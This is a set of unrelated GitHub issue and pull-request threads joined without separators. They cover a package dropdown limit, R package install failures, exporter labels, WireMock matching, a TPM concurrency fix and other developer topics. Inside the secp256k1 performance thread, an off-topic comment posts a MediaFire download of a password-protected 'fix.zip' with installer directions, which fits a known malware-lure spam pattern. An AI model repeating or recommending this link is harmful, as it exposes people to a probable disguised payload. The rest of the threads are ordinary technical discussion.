We have a couple thousand packages and would love to use this but it not feasible because the package only displays 100 packages in the drop down. Can you fix it so the drop down displays all of our packages from our VSTS feed?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHubhttps://nam12.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Frenevanosnabrugge%2Fvsts-promotepackage-task%2Fissues%2F48%3Femail_source%3Dnotifications%26email_token%3DABOH2WR7IB7C6NJNNS4EXM3RFP4GZA5CNFSM4K72EI52YY3PNVWWK3TUL52HS4DFUVEXG43VMWVGG33NNVSW45C7NFSM4IRZC6QQ&data=02|01||5333495cc7af49f22de308d7bed8c566|84df9e7fe9f640afb435aaaaaaaaaaaa|1|0|637187710536300289&sdata=kXIHh4x4Zld9gZuJ4y8Vyco8wWFSickefeSlvWczvDE%3D&reserved=0, or unsubscribehttps://nam12.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FABOH2WRLJQVBL5OUU7AP5FDRFP4GZANCNFSM4K72EI5Q&data=02|01||5333495cc7af49f22de308d7bed8c566|84df9e7fe9f640afb435aaaaaaaaaaaa|1|0|637187710536310284&sdata=5eJqpIKWpuMHzqjOKmWcoYUdV%2BbWhFrgEZvxdJ3MTC4%3D&reserved=0.

The dropdown is editable. Just paste in the correct package name.

Is first 100 packages a limitation of the VSTS REST API Call made to retrieve and display packages? Is it specific to task UI? Because, when I call the same API (https://feeds.dev.azure.com//_apis/packaging/Feeds//packages?api-version=6.1-preview.1) via POSTMAN or Browser on a feed with thousands of packages, I see that it returns 1000 packages.
"endpointUrl": "{{endpoint.url}}/{{ #regex ([a-fA-F0-9\-]+/)[a-fA-F0-9\-]+ feed }}_apis/packaging/feeds/{{ #regex (?:[a-fA-F0-9\-]+/)?([a-fA-F0-9\-]+) feed }}/packages?includeUrls=false",

@jessehouwing , @renevanosnabrugge : Any pointers or ideas on my question above?

@matt-lacross : Have you found any workarounds for this yet?

Nope. The pointer is not to rely on the drop down and just type the desired value.
There may be a query option to do a type to search option, I haven't tried with that yet.

Thanks @jessehouwing. I assume it won't fail to load the UI but rather just populate it with 100 packages correct?

Yups. The API has a few interesting features I haven't been able to completely comprehend. Sometimes the API happily returns 100s of items and then the same call sometimes uses paging.
Unfortunately the task.json format doesn't understand the continuation token to continue fetching in the background or offer a auto-load feature as you scroll down.


pacing: nanoseconds based calculation

Previouly the pacing rate calculation is based on microseconds
level granularity. This updates the pacing rate calculation
granularity to the maximum allowed (nanoseconds) and simplifies
the formula by removing MICROS_PER_SEC constant.

@lohith-bellad PTAL


Remove deprecated jsx-sort-prop-types rule

This has been deprecated for a while. We have decided to remove it
entirely for 6.0.0 (#686).
Fixes #549.

LGTM

Merged, thanks!


Problem with Instalation

Hi,
I do get the following error message while trying to install  :
ERROR: dependency ‘gChain’ is not available for package ‘gGnome’

Could you please advise? I am using R version 3.6.2.
Thanks,

Hi @Maryam-Sayadi ,
can you try manually installing gChain before trying to install gGnome again?
run:
devtools::instal_github(‘mskilab/gChain’)

I'm pretty new to R but think I managed to get gGnome working after working my way through the dependency error messages -  I ran:
devtools::install_github('mskilab/bamUtils')
devtools::install_github('mskilab/gChain')
devtools::install_github('mskilab/gGnome')
and finally I needed
install.packages('ellipsis')
before I could run
library(gGnome)
Hope this might be helpful.

Hi,
I also get error messages when trying to install:

The same issue happens when I try to use:
foldername = "C:/Users/user/Documents/R/win-library/4.1/"
install.packages('C:/Users/user/Downloads/gGnome-1.0.tar.gz', lib=foldername,dependencies=TRUE,repos = NULL)
If I try to install from the gGnome-1.0.zip file, I get the following issue:
library("gGnome", lib.loc = "C:/Users/user/Documents/R/win-library/4.1/")
Error in library("gGnome", lib.loc = "C:/Users/user/Documents/R/win-library/4.1/") :
‘gGnome’ is not a valid installed package
I have tried this with R version 3.6 and 4.1 on two separate computers with the same results
Here is my session info:

sessionInfo()
R version 4.1.2 (2021-11-01)
Platform: x86_64-w64-mingw32/x64 (64-bit)
Running under: Windows 10 x64 (build 22621)

Matrix products: default
locale:
[1] LC_COLLATE=English_United States.1252  LC_CTYPE=English_United States.1252
[3] LC_MONETARY=English_United States.1252 LC_NUMERIC=C
[5] LC_TIME=English_United States.1252
attached base packages:
[1] stats     graphics  grDevices utils     datasets  methods   base
loaded via a namespace (and not attached):
[1] Rcpp_1.0.10         BiocManager_1.30.20 urlchecker_1.0.1    pillar_1.8.1
[5] compiler_4.1.2      later_1.3.0         remotes_2.4.2       profvis_0.3.7
[9] prettyunits_1.1.1   tools_4.1.2         digest_0.6.31       pkgbuild_1.4.0
[13] pkgload_1.3.2       memoise_2.0.1       lifecycle_1.0.3     tibble_3.1.8
[17] pkgconfig_2.0.3     rlang_1.0.6         shiny_1.7.4         cli_3.6.0
[21] rstudioapi_0.14     curl_5.0.0          xfun_0.37           fastmap_1.1.1
[25] knitr_1.42          withr_2.5.0         stringr_1.5.0       dplyr_1.1.0
[29] desc_1.4.2          htmlwidgets_1.6.1   generics_0.1.3      fs_1.6.1
[33] vctrs_0.5.2         devtools_2.4.5      rprojroot_2.0.3     tidyselect_1.2.0
[37] glue_1.6.2          R6_2.5.1            processx_3.8.0      fansi_1.0.4
[41] sessioninfo_1.2.2   purrr_1.0.1         callr_3.7.3         magrittr_2.0.3
[45] codetools_0.2-18    usethis_2.1.6       promises_<IP_ADDRESS>    ps_1.7.2
[49] ellipsis_0.3.2      htmltools_0.5.4     mime_0.12           xtable_1.8-4
[53] httpuv_1.6.6        utf8_1.2.3          stringi_1.7.12      miniUI_<IP_ADDRESS>
[57] cachem_1.0.7        crayon_1.5.2
Appreciate any help,
Jason

Have you tried using devtools::install_github as in the instructions?
Also we have unfortunately not tested gGnome on Windows (only linux and macosx), so cannot make any guarantees that it will work.
Marcin
Hi,
I also get error messages when trying to install:
The same issue happens when I try to use:
foldername = "C:/Users/user/Documents/R/win-library/4.1/"
install.packages('C:/Users/user/Downloads/gGnome-1.0.tar.gz', lib=foldername,dependencies=TRUE,repos = NULL)
If I try to install from the gGnome-1.0.zip file, I get the following issue:
library("gGnome", lib.loc = "C:/Users/user/Documents/R/win-library/4.1/")
Error in library("gGnome", lib.loc = "C:/Users/user/Documents/R/win-library/4.1/") :
‘gGnome’ is not a valid installed package
I have tried this with R version 3.6 and 4.1 on two separate computers with the same results
Here is my session info:
sessionInfo()
R version 4.1.2 (2021-11-01)
Platform: x86_64-w64-mingw32/x64 (64-bit)
Running under: Windows 10 x64 (build 22621)
Matrix products: default
locale:
[1] LC_COLLATE=English_United States.1252 LC_CTYPE=English_United States.1252
[3] LC_MONETARY=English_United States.1252 LC_NUMERIC=C
[5] LC_TIME=English_United States.1252
attached base packages:
[1] stats graphics grDevices utils datasets methods base
loaded via a namespace (and not attached):
[1] Rcpp_1.0.10 BiocManager_1.30.20 urlchecker_1.0.1 pillar_1.8.1
[5] compiler_4.1.2 later_1.3.0 remotes_2.4.2 profvis_0.3.7
[9] prettyunits_1.1.1 tools_4.1.2 digest_0.6.31 pkgbuild_1.4.0
[13] pkgload_1.3.2 memoise_2.0.1 lifecycle_1.0.3 tibble_3.1.8
[17] pkgconfig_2.0.3 rlang_1.0.6 shiny_1.7.4 cli_3.6.0
[21] rstudioapi_0.14 curl_5.0.0 xfun_0.37 fastmap_1.1.1
[25] knitr_1.42 withr_2.5.0 stringr_1.5.0 dplyr_1.1.0
[29] desc_1.4.2 htmlwidgets_1.6.1 generics_0.1.3 fs_1.6.1
[33] vctrs_0.5.2 devtools_2.4.5 rprojroot_2.0.3 tidyselect_1.2.0
[37] glue_1.6.2 R6_2.5.1 processx_3.8.0 fansi_1.0.4
[41] sessioninfo_1.2.2 purrr_1.0.1 callr_3.7.3 magrittr_2.0.3
[45] codetools_0.2-18 usethis_2.1.6 promises_<IP_ADDRESS> ps_1.7.2
[49] ellipsis_0.3.2 htmltools_0.5.4 mime_0.12 xtable_1.8-4
[53] httpuv_1.6.6 utf8_1.2.3 stringi_1.7.12 miniUI_<IP_ADDRESS>
[57] cachem_1.0.7 crayon_1.5.2
Appreciate any help,
Jason
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you are subscribed to this thread.Message ID: @.***>
--
This message is for the recipient’s use only, and may contain
confidential, privileged or protected information. Any unauthorized use or
dissemination of this communication is prohibited. If you received this
message in error, please immediately notify the sender and destroy all
copies of this message. The recipient should check this email and any
attachments for the presence of viruses, as we accept no liability for any
damage caused by any virus transmitted by this email.

Thank you for your reply - yes, that leads to the error message in the .png after installing all dependencies. I will attempt installation on those other systems instead
Jason


"cluster" label unavailable for elasticsearch_snaphot_stats_*  metrics

Post migrating to ElasticSearch 7.10.2, we wanted to monitor the snapshot age. We have enabled "es.snapshots" and set it to true. The metrics are being exported as expected, however we cannot see the label 'cluster' in any of them.
Since we use the 'cluster' as a  filter for our Grafana dashboard, is there a way to add it to the labels ?
Following are the versions of our logging and monitoring stack -
Exporter Versioin - v1.1.0
Kibana - 7.10.2
ElasticSearch - 7.10.2
Prometheus - 2.32.1
Adding a sample screenshot with redacted data -

1.5.0 is the most recent version of the exporter. Please upgrade and check the data again.

I can confirm this issue using 1.5.0


Layered symbols / styles

Generating symbols with letters or numbers isn't great.
Characters (letters or numbers) should be applied to any symbol on a separate level.
This can be easily done with Openlayers, and is a win win. The code is less complex but more versatile.

This should be working when the style is defined as an array.

Icon styles can have a layers property. If defined as an array multiple style layers will be generated and rendered on top. Each layer can have a scale and anchor. Scaling will be applied to the individual icon layers in the render method.
            "style": {
              "layers": [{
                  "svg": "https://geolytix.github.io/MapIcons/pins/sea_green.svg",
                  "scale": 2,
                  "anchor": [0.5, 0.95]
                },
                {
                  "svg": "https://geolytix.github.io/MapIcons/logos/logo.svg",
                  "scale": 2,
                  "anchor": [0.5, 0.95]
                }
              ]
            }
          },


stop using pl2bat

https://github.com/shogo82148/actions-setup-perl/issues/445#issuecomment-725660390
the cmd command of windows fails to parse large fatpack-ed scripts.
it is the limit of pl2bat. so stop using pl2bat and call perl command directly.

looks good.
there is no The system cannot find the batch label specified - endofperl


fix: ztdf support both base and handling assertions

https://github.com/opentdf/java-sdk/blob/main/sdk/src/test/java/io/opentdf/platform/sdk/TDFTest.java#L210 - We have test for handling assertion

That test (or another test) doesn't actually check that both a base assertion and handling assertion result in assertions in the output TDF as far as I can tell

Please check the updated test.


[launcher] Fix a concurrent TPM access issue

Concurrent http requests will exhaust TPM transient handle (3), adding a mutex to handle the requests one by one.
Tested on a GCE VM, "failed to get AK: warning code 0x2 : out of memory for object contexts" error no longer appears

/gcbrun

Can you write and run a load test? And I'd be curious if there's a difference between caching the AK handle vs creating it every time. I would expect the first one to be faster

Ya, I wrote a script making 10 token requests
With Key cache it took 3.4 seconds, without key cache it took 6.1 seconds

/gcbrun

/gcbrun

/gcbrun

/gcbrun


enhance(edit): add capture helper for hb templates

enhance(edit): add capture helper for hb templates
This helper lets users capture parts of a text. Docs: https://github.com/dendronhq/dendron-site/pull/544

lgtm, but looks like there's a cli test error.

lgtm, but looks like there's a cli test error.

fixed


Customizing record and play for the request headers using wiremock

The version of wiremock is 2.14.0 API
The command line for starting the wiremock used is  as below:
java -jar wiremock-standalone-2.14.0.jar --port 8787 --verbose --record-mappings --match-headers requestHeader,mobileHeader
We tried the customizing the record and play using wiremock and we wanted to customize the request header specs wanted to add the matcher as “equalToJson” and wanted to add two additional parameters like the "ignoreArrayOrder" : false,"ignoreExtraElements" : true  to the request headers but the error that we got is :
{
"errors": [
{
"code": 10,
"source": {
"pointer": "/captureHeaders/matcher"
},
"title": "Error parsing JSON",
"detail": "Unrecognized field "matcher" (class com.github.tomakehurst.wiremock.recording.CaptureHeadersSpec), not marked as ignorable"
}
]
}
The expected json Format is :
"request" : {
"url" : "/api/channel/datacardwidgets",
"method" : "GET",
"headers" : {
"requestHeader" : {
"equalToJson" : "{"clientId":"1234"}",
"ignoreArrayOrder" : false,
"ignoreExtraElements" : true
}
}
},

Please post questions to the mailing list per the README.


added resources for django backend development

Fixes Issue
Closes #626

Changes proposed
added resources for django backend development

Screenshots

Note to reviewers

We want to keep the backend roadmap specific to nodejs for now. Adding different technologies can confuse folks new to development


Did not find any initialized language workers

Hello
I'm having this issue, in an Azure Function App (Consumption plan), Linux Environment.
The error is thrown for HTTP Azure functions.
TargetFramework : .Net 5
Language : dotnet-isolated
AzureFunctionsVersion V3
Microsoft.Azure.Functions.Worker.Extensions.Http Version="3.0.13"
Microsoft.Azure.Functions.Worker.Sdk Version="1.0.3
The same deploy works in a Windows Environment, as well as locally, in my machine.
I've seen several issues about this topic but could not find any final solution.
Could you give me a hint to fix the problem?
Thanks.

Same as #556.

Closing as a duplicate of #556


Update README to latest version

Issue #428 created to address generating the right version for README.
Maybe we can go ahead and do a patch to get the copy on master branch correct at least.

I can accept this pull request so jedesah gets full credit for his contribution as soon as he's completed and returned the Contributor License Agreement as described in CONTRIBUTING.md.


Add more analytics

Deploy preview for recalc ready!
✅ Preview
https://recalc-195jdmry0-tervays-projects.vercel.app
Built with commit 9cb394cbccfc1ff43c8332974620a57130b6742f.
This pull request is being automatically deployed with vercel-action


Improve secp256k1_point_unsafe using precomputed tables

#276 introduced a faster version of secp256k1_point that is not secured against side channels, for use where that's not a concern (public data). However, there is still a vast room for improvement, as the current code use a generic elliptic curve scalar multiplication method, while secp256k1_point multiplies a fixed point (the generator) by a scalar.
Precomputed tables of multiples could still improve performance by a large margin, at the cost of an increase in binary size.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Call to undefined method Deployer\Server\Builder::path()

I'm currently trying out master @ 293d9f7e13960516a3f78a2ebbf3eda7a5cad9de and I get the following errors running
PHP Fatal error:  Call to undefined method Deployer\Server\Builder::path() in deploy.php on line 6

Here is the deploy.php (stripped anything that isn't useful to this issue).
```php`
user('www-data')
	->path('/var/www/test-target');
```

It appears that @ 503e19234ca4a5ede62b155ee003271401fb950c, you did a major refactoring which removed `path()` from Configuration.

What will be the way the `path` is defined in v3? Will it be through `set('deploy_path', '/var/www/test-target');`?

Yes, it will be ->env('deploy_path', '/var/www/test-target');.
Doc for v3 will be latter sorry about this.

Duplicate of #153.

Actually, this should be in an UPGRADING.md file (like symfony does)
On qui, 5/02/2015 at 12:42 tomzx<EMAIL_ADDRESS>wrote:

Closed #160 https://github.com/deployphp/deployer/issues/160.
—
Reply to this email directly or view it on GitHub
https://github.com/deployphp/deployer/issues/160#event-230730900.


Error installing packages in colab

Hi many thanks for this wonderful resource, I have a question if I may. I tried to install the packages in your new colab version but there seems to be many conda packages in the requirements.txt and I get this type of error:
ERROR: Could not find a version that satisfies the requirement ca-certificates (from versions: none)
ERROR: No matching distribution found for ca-certificates

How did you manage to install the all the dependencies?
One workaround I tried is to install conda in colab by running this cell
!pip install -q condacolab
import condacolab
condacolab.install()

then converting the requirements.txt into this environment.yaml file but the installation process is very slow (over 1 hour) as there are many dependencies. Ideally I would like to install with pip and was wondering if you have a solution?

We are very sorry that the requirement file was mistakenly modified during one update and we have uploaded the correct one. Please try the latest colab version.


AttributeError: 'numpy.ndarray' object has no attribute 'pop'

Hi there,
I get this error message:
File "/pyretri-0.1.0+unknown-py3.7.egg/pyretri/evaluate/evaluator/evaluators_impl/overall.py", line 78, in call
gt.pop(0)
AttributeError: 'numpy.ndarray' object has no attribute 'pop'
Please, what is the reason for this?
''pop'' can normally be used for lists, as far as I know, not for ndarrays... is this a bug in the code or something else?
Thanks!

using gt[1:] replace gt.pop(0)